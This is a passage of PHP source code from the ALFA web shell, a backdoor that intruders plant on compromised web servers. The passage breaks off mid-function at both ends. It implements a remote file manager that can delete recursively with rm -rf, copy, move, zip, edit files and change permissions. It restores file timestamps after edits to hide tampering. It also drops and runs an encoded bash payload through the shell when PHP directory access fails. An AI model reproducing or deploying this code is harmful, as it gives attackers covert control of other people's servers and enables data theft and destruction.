		if(!_alfa_is_dir(trim($_POST[\'alfa2\']))){
			if(!@mkdir(trim($_POST[\'alfa2\']))){
				echo "<script>alfaShowNotification(\'Can\'t create new dir !\', \'Files manager\', \'error\');</script>";
			}else{
				echo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";
			}
		}else{
			echo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";
		}
	}else{
		echo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";
	}
}
break;
case \'delete\':
function deleteDir($path){
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f){
if($f == \'..\')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
	if(_alfa_can_runCommand(true,true)){
		alfaEx("rm -rf \'".addslashes($_POST[\'c\'].\'/\'.$f)."\'");
	}
}else{
alfaEx("rm -rf \'".addslashes($f)."\'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST[\'alfa2\']))&&rawurldecode(@$_POST[\'alfa2\'])!=\'..\'){
deleteDir(rawurldecode(@$_POST[\'alfa2\']));
alfaEx("rm -rf \'".addslashes($_POST[\'alfa2\'])."\'",false,false);
}else{
@unlink(rawurldecode(@$_POST[\'alfa2\']));
}
if($GLOBALS["glob_chdir_false"]){
	$source = rawurldecode(@$_POST[\'alfa2\']);
	if($source!=\'..\'&&!empty($source)){
		if(_alfa_can_runCommand(true,true)){
			alfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';rm -rf \'".addslashes($source)."\'");
		}
	}
}
if(is_array($_POST[\'f\']))
return;
break;
case \'paste\':
if($_COOKIE[\'alfa_act\'] == \'copy\'&&isset($_COOKIE[\'alfa_f\'])){
foreach($_COOKIE[\'alfa_f\'] as $f)
copy_paste($_COOKIE[\'alfa_c\'],$f, $GLOBALS[\'cwd\']);
}elseif($_COOKIE[\'alfa_act\'] == \'move\'&&isset($_COOKIE[\'alfa_f\'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE[\'alfa_f\'] as $f)
@rename($_COOKIE[\'alfa_c\'].$f, $GLOBALS[\'cwd\'].$f);
}elseif($_COOKIE[\'alfa_act\'] == \'zip\'&&isset($_COOKIE[\'alfa_f\'])){
if(class_exists(\'ZipArchive\')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE[\'alfa_c\']);
foreach($_COOKIE[\'alfa_f\'] as $f){
if($f == \'..\')continue;
if(@is_file($_COOKIE[\'alfa_c\'].$f))
$zip->addFile($_COOKIE[\'alfa_c\'].$f, $f);
elseif(@is_dir($_COOKIE[\'alfa_c\'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));
foreach($iterator as $key=>$value){
$key = str_replace(\'\\',\'/\',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,\'/\')+1),array(\'.\', \'..\')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS[\'cwd\']);
$zip->close();
__alert(\'>> \'.$zipX.\' << is created...\');}}
}elseif($_COOKIE[\'alfa_act\'] == \'unzip\'&&isset($_COOKIE[\'alfa_f\'])){
if(class_exists(\'ZipArchive\')){
$zip = new ZipArchive();
foreach($_COOKIE[\'alfa_f\'] as $f) {
if($zip->open($_COOKIE[\'alfa_c\'].$f)){
$zip->extractTo($_COOKIE[\'alfa_cwd\']);
$zip->close();}}}}
unset($_COOKIE[\'alfa_f\']);
break;
default:
if(!empty($_POST[\'alfa1\'])){
if(in_array($_POST[\'alfa1\'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie(\'alfa_act\', @$_POST[\'alfa1\']);
__alfa_set_cookie(\'alfa_f\', @serialize($_POST[\'f\']));
__alfa_set_cookie(\'alfa_c\', @$_POST[\'c\']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if(preg_match("#(.*)\/\.\.#", $_POST[\'c\'], $res)){
	$path = explode(\'/\', $res[1]);
	array_pop($path);
	$_POST[\'c\'] = implode(\'/\', $path);
}
$cmd_dir = false;
if($dirContent === false){
	if(_alfa_can_runCommand(true,true)){
		$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
		@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
		if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
			$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
			$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
			__alfa_set_cookie("alfachdir_bash", "true");
			__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
		}
		$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa \'".addslashes(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\'])."\'");
		$dirContent = json_decode($dirContent, true);
		if(is_array($dirContent)){
			array_pop($dirContent);
			$cmd_dir = true;
		}else{
			$dirContent = false;
		}
	}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
	@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : \'name\';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : \'asc\';
$files_page_count = 1;
if($alfa_limited_files > 0){
	$files_page_count = ceil($count_dirContent/$alfa_limited_files);
	if($files_page_count > 1){
		$files_page_count++;
	}
}
echo \'<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" \'.($alfa_sort_by == \'name\'?\'selected\':\'\').\'>Name</option><option value="size" \'.($alfa_sort_by == \'size\'?\'selected\':\'\').\'>Size</option><option value="modify" \'.($alfa_sort_by == \'modify\'?\'selected\':\'\').\'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" \'.($alfa_filesman_direction == \'asc\'?\'selected\':\'\').\'>Ascending</option><option value="desc" \'.($alfa_filesman_direction == \'desc\'?\'selected\':\'\').\'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="\'.$alfa_limited_files.\'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">\'.($count_dirContent-1).\'</b></span></div><div class="header">\';
if($dirContent == false){
echo \'<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>\';
alfaFooter();
return;
}
global $sort;
$sort = array(\'name\', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
	$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST[\'alfa1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'alfa1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
	$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit=\'fc(this);return false;\' name=\'files\' method=\'post\'><table id=\'filemanager_table\' width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><tr><th width=\'13px\'><div class=\'myCheckbox\' style=\'padding-left:0px;\'><input type=\'checkbox\' id=\'mchk".$checkbox_rand."\' onclick=\'checkBox(this);\' class=\'chkbx\'><label for=\'mchk".$checkbox_rand."\'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
	$n = ($alfa_limited_files * $alfa_files_page_number);
	if($n > $count_dirContent){
		$n = $count_dirContent;
	}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
	$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date(\'Y-m-d H:i:s\', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS[\'cwd\']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS[\'cwd\'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS[\'cwd\'].$filename)):array("name" => "????");
$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($GLOBALS[\'cwd\'].$filename):"????");
$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($GLOBALS[\'cwd\'].$filename):"????");
$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $filename));
$file_perm = alfaPermsColor($GLOBALS[\'cwd\'].$filename);
$file_size = @filesize($GLOBALS[\'cwd\'].$filename);
$file_path = $GLOBALS[\'cwd\'].$filename;
}
$tmp = array(\'name\' => $filename,
\'path\' => $file_path,
\'modify\' => $file_modify,
\'perms\' => $file_perm,
\'size\' => $file_size,
\'owner\' => $file_owner,
\'group\' => $file_group
);
if($filename == ".." && !$cmd_dir){
	$tmp["path"] = str_replace("\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array(\'type\' => \'file\');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp[\'path\']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
}else{
	if($dirContent[$i]["type"]=="file"){
		$files[] = array_merge($tmp, array(\'type\' => \'file\'));
	}else{
		if($dirContent[$i]["name"] != "."){
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
		}
	}
}
}
$GLOBALS[\'sort\'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
	if($_COOKIE["alfa_filesman_direction"] == \'desc\'){
		$files = array_reverse($files);
		$dirs = array_reverse($dirs);
	}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f[\'name\'] = htmlspecialchars($f[\'name\']);
$newname = mb_strlen($f[\'name\'], \'UTF-8\')>60?mb_substr($f[\'name\'], 0, 60, \'utf-8\').\'...\':$f[\'name\'];
$checkbox = \'checkbox_\'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f[\'name\']);
$icon = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'<img src="\'.findicon($f[\'name\'],$f[\'type\']).\'" width="30" height="30">\':\'\';
$style = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'position:relative;display:inline-block;bottom:12px;\':\'\';
echo \'<tr class="fmanager-row" id="tr_row_\'.$cc.\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'.$raw_name.\'" class="chkbx" id="\'.$checkbox .\'"><label for="\'.$checkbox .\'"></label></div></td><td id="td_row_\'.$cc.\'">\'.$icon.\'<div style="\'.$style.\'"><a row="\'.$cc.\'" id="id_\'.$cc.\'" class="main_name" onclick="\'.(($f[\'type\']==\'file\')?\'editor(\'\'.$raw_name.\'\',\'auto\',\'\',\'\',\'\',\'\'.$f[\'type\'].\'\');" href="#action=fileman&path=\'.$GLOBALS[\'cwd\'].\'&file=\'.$raw_name.\'" fname="\'.$raw_name.\'" ftype="file" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'>\'.($GLOBALS[\'cwd\'].$f[\'name\']==$GLOBALS[\'__file_path\']?"<span class=\'shell_name\' style=\'font-weight:unset;\'>".$f[\'name\']."</span>":htmlspecialchars($newname)):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" href="#action=fileman&path=\'.$f[\'path\'].\'" fname="\'.$raw_name.\'" ftype="folder" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td></div><td><span style="font-weight:unset;" class="main_size">\'.(($f[\'type\']==\'file\')?(isset($f[\'link\'])?\'[L] \':\'\').alfaSize($f[\'size\']):$f[\'type\']).\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'.$f[\'modify\'].\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</span></td><td><a id="id_chmode_\'.$cc.\'" href=javascript:void(0) onclick="editor(\'\'.$raw_name.\'\',\'chmod\',\'\',\'\',\'\',\'\'.$f[\'type\'].\'\')">\'.
$f[\'perms\'].\'</td><td><a id="id_rename_\'.$cc.\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\'\'.$raw_name.\'\', \'rename\',\'\',\'\',\'\',\'\'.$f[\'type\'].\'\')">R</a> <a id="id_touch_\'.$cc.\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\'\'.$raw_name.\'\', \'touch\',\'\',\'\',\'\',\'\'.$f[\'type\'].\'\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a id="id_edit_\'.$cc.\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\'\'.$raw_name.\'\', \'edit\',\'\',\'\',\'\',\'\'.$f[\'type\'].\'\')">E</a> <a id="id_download_\'.$cc.\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'\'.$raw_name.\'\', \'download\')">D</a>\':\'\').\'<a id="id_delete_\'.$cc.\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # \'.addslashes(rawurldecode($f[\'name\'])).\' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'\'.$raw_name.\'\') : \'\';"> X </a></td></tr>\';
$l = $l?0:1;
$cc++;
}
echo "<tr id=\'filemanager_last_tr\'><td colspan=7>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value=\'".htmlspecialchars(($GLOBALS[\'glob_chdir_false\']?$_POST[\'c\']:$GLOBALS[\'cwd\']))."\'>
<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
<select id=\'tools_selector\' name=\'alfa1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\' selected>Delete</option><option value=\'zip\'>Add 2 Compress (zip)</option><option value=\'unzip\'>Add 2 Uncompress (zip)</option><option value=\'paste\'>Paste / Zip / Unzip </option></select>
<input type=\'submit\' value=\' \'>
</form></table><div class=\'pages-holder\'><div class=\'pages-number\'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
		$selected_page = "";
		if($current_page == 1){
			$selected_page = " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2)
            $links .= "<a class=\"page-number\">...</a>";
        for (; $i < min($current_page + 6, $total_pages); $i++) {
			if($i == $current_page){
				$selected_page = " active-page-number";
			}else{
				$selected_page = "";
			}
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
        }
        if ($i != $total_pages)
            $links .= "<a class=\"page-number\">...</a>";
		$selected_page = " last-page-number";
		if($current_page == $total_pages){
			$selected_page .= " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools(){
alfahead();
echo \'<div class="filestools" style="height: 100%;">\';
if(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);
$alfa1_decoded = $_POST[\'alfa1\'];
$chdir_fals = false;
if(!@chdir($_POST[\'c\'])){
	$chdir_fals = true;
	$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	if($alfa_canruncmd){
		$slashed_alfa1 = addslashes($_POST[\'alfa1\']);
		$file_info = explode(":", alfaEx(\'stat -c "%F:%U:%G:%s:%Y:0%a:%A" "\'.$slashed_alfa1.\'"\'));
		$perm_color_class = alfaEx("if [[ -w \'".$slashed_alfa1."\' ]]; then echo main_green_perm; elif [[ -r \'".$slashed_alfa1."\' ]]; then echo main_white_perm; else echo main_red_perm; fi");
	}
}
if($_POST[\'alfa2\'] == \'auto\'){
if(is_array(@getimagesize($_POST[\'alfa1\']))){
$_POST[\'alfa2\'] = \'image\';
}else{
	$_POST[\'alfa2\'] = \'view\';
	if($chdir_fals){
		if($alfa_canruncmd){
			$mime = explode(":", alfaEx("file --mime-type \'".addslashes($_POST[\'alfa1\'])."\'"));
			$mimetype = $mime[1];
			if(!empty($mimetype)){
				if(strstr($mimetype, "image")){
					$_POST[\'alfa2\'] = \'image\';
				}
			}
		}
	}
}
}
if($_POST[\'alfa2\'] == "rename" && !empty($_POST[\'alfa3\']) && @is_writable($_POST[\'alfa1\'])){$rename_cache = $_POST[\'alfa3\'];}
if(@$_POST[\'alfa2\'] == \'mkfile\'){
$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);
if($chdir_fals&&$alfa_canruncmd){
	if(_alfa_is_writable($_POST["c"])){
		alfaEx("cd \'".addslashes($_POST["c"])."\';touch \'".addslashes($alfa1_decoded)."\'");
		$_POST[\'alfa2\'] = "edit";
	}
}
if(!@file_exists($_POST[\'alfa1\'])){
$fp = @fopen($_POST[\'alfa1\'], \'w\');
if($fp){
$_POST[\'alfa2\'] = "edit";
fclose($fp);
}
}else{
$_POST[\'alfa2\'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST[\'alfa1\'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color=\'red\'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory(\'".$_POST[\'alfa4\']."\');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST[\'alfa1\'])):\'\';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST[\'alfa1\'])):\'\';
if(!$uid&&!$gid){
$uid[\'name\'] = function_exists("fileowner")?@fileowner($_POST[\'alfa1\']):\'\';
$gid[\'name\'] = function_exists("filegroup")?@filegroup($_POST[\'alfa1\']):\'\';
}
$permcolor = alfaPermsColor($_POST[\'alfa1\']);
$filesize = @filesize($_POST[\'alfa1\']);
if(!isset($uid[\'name\'],$gid[\'name\'])||empty($uid[\'name\'])||empty($gid[\'name\'])){
	if(_alfa_can_runCommand()){
		list($uid[\'name\'],$gid[\'name\']) = explode(":", alfaEx(\'stat -c "%U:%G" "\'.addslashes($_POST["c"]."/".$_POST["alfa1"]).\'"\'));
	}
}
}
if(substr($_POST[\'alfa1\'], 0, 7) == "phar://"){
	$alfa_file_directory = $_POST[\'alfa1\'];
}else{
	$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST[\'c\'].\'/\').$_POST[\'alfa1\']);
}
echo \'<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> \'.htmlspecialchars(basename($alfa1_decoded)).\' <span class="editor_file_info_vars">Size:</span> \'.alfaSize($filesize).\' <span class="editor_file_info_vars">Permission:</span> \'.$permcolor.\' <span class="editor_file_info_vars">Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\' <span class="editor_file_info_vars">Directory:</span> \'.dirname($alfa_file_directory).\'</div>\';
if(empty($_POST[\'alfa2\']))$_POST[\'alfa2\'] = \'view\';
if(!_alfa_is_dir($_POST[\'alfa1\'])){
$m = array(\'View\', \'Download\', \'Highlight\', \'Chmod\', \'Rename\', \'Touch\', \'Delete\', \'Image\', \'Hexdump\');
$ftype = "file";
}else{
$m = array(\'Chmod\', \'Rename\', \'Touch\');
$ftype = "dir";
}
echo(\'<div>\');
foreach($m as $v)
echo $v == \'Delete\' ? \'<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\',\'\'.strtolower($v).\'\',\'\',\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\'):\'\';"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a> \' : \'<a href="javascript:void(0);" onclick="editor(\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\',\'\'.strtolower($v).\'\',\'\',\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\')"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a>\';
echo \'</div>\';
switch($_POST[\'alfa2\']){
case \'view\':case \'edit\':
@chdir($_POST[\'c\']);
$disabled_btn = "";
if(!@is_writable($_POST[\'alfa1\'])&&!_alfa_is_writable($_POST[\'alfa1\'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= \'background: #ff0000;color: #fff;\';
}
if(!empty($_POST[\'alfa3\'])){
$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);
$time = @filemtime($_POST[\'alfa1\']);
$fp = @__write_file($_POST[\'alfa1\'],$_POST[\'alfa3\']);
if($chdir_fals&&$alfa_canruncmd){
	$rname = $alfa1_decoded;
	$randname = $rname.rand(111,9999);
	$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
	if($fp = @__write_file($filepath ,$_POST[\'alfa3\'])){
		alfaEx("mv \'".addslashes($filepath)."\' \'".addslashes($_POST["alfa1"])."\';rm -f \'".addslashes($filepath)."\'");
	}
}
if($fp){
echo \'Saved!<br>\';
@touch($_POST[\'alfa1\'],$time,$time);
}
}
echo \'<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">\'._alfa_load_ace_options("editor").\'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\'\'.addslashes($alfa1_decoded).\'\',\'edit\',\'1\'+ace_val,\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;\'.$disabled_btn_style.\'" \'.$disabled_btn.\'>save</button></div><pre class="ml1 view_ml_content">\';
echo htmlspecialchars(__read_file($_POST[\'alfa1\']));
echo \'</pre></div></div>\';
break;
case \'highlight\':
@chdir($_POST[\'c\']);
if(@is_readable($_POST[\'alfa1\'])){
echo \'<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">\';
$code = @highlight_file($_POST[\'alfa1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div></div></div>\';
}
break;
case \'delete\':
@chdir($_POST[\'c\']);
if(@is_writable($_POST[\'alfa1\'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST[\'alfa1\'])){
	$deleted = false;
	if($alfa_canruncmd){
		if(_alfa_is_writable($_POST[\'alfa1\'])){
			alfaEx("rm -f \'".addslashes($_POST[\'alfa1\'])."\'");
			$deleted = true;
		}
	}
}
if($deleted)echo \'File Deleted...<script>var elem = $("\'.$_POST[\'alfa4\'].\'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["\'.$_POST[\'alfa4\'].\'"];</script>\';else echo \'Error...\';}
break;
case \'chmod\':
@chdir($_POST[\'c\']);
if(!empty($_POST[\'alfa3\'])){
$perms = 0;
for($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));
if(!@chmod($_POST[\'alfa1\'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd \'".addslashes($_POST["c"])."\';chmod ".addslashes($_POST[\'alfa3\'])." \'".addslashes($alfa1_decoded)."\'");
echo(\'Success!\');
}else{
echo \'<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';}
}else{echo(\'Success!\');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
	$file_perm = $file_info[5];
}else{
	$file_perm = substr(sprintf(\'%o\', @fileperms($_POST[\'alfa1\'])),-4);
}
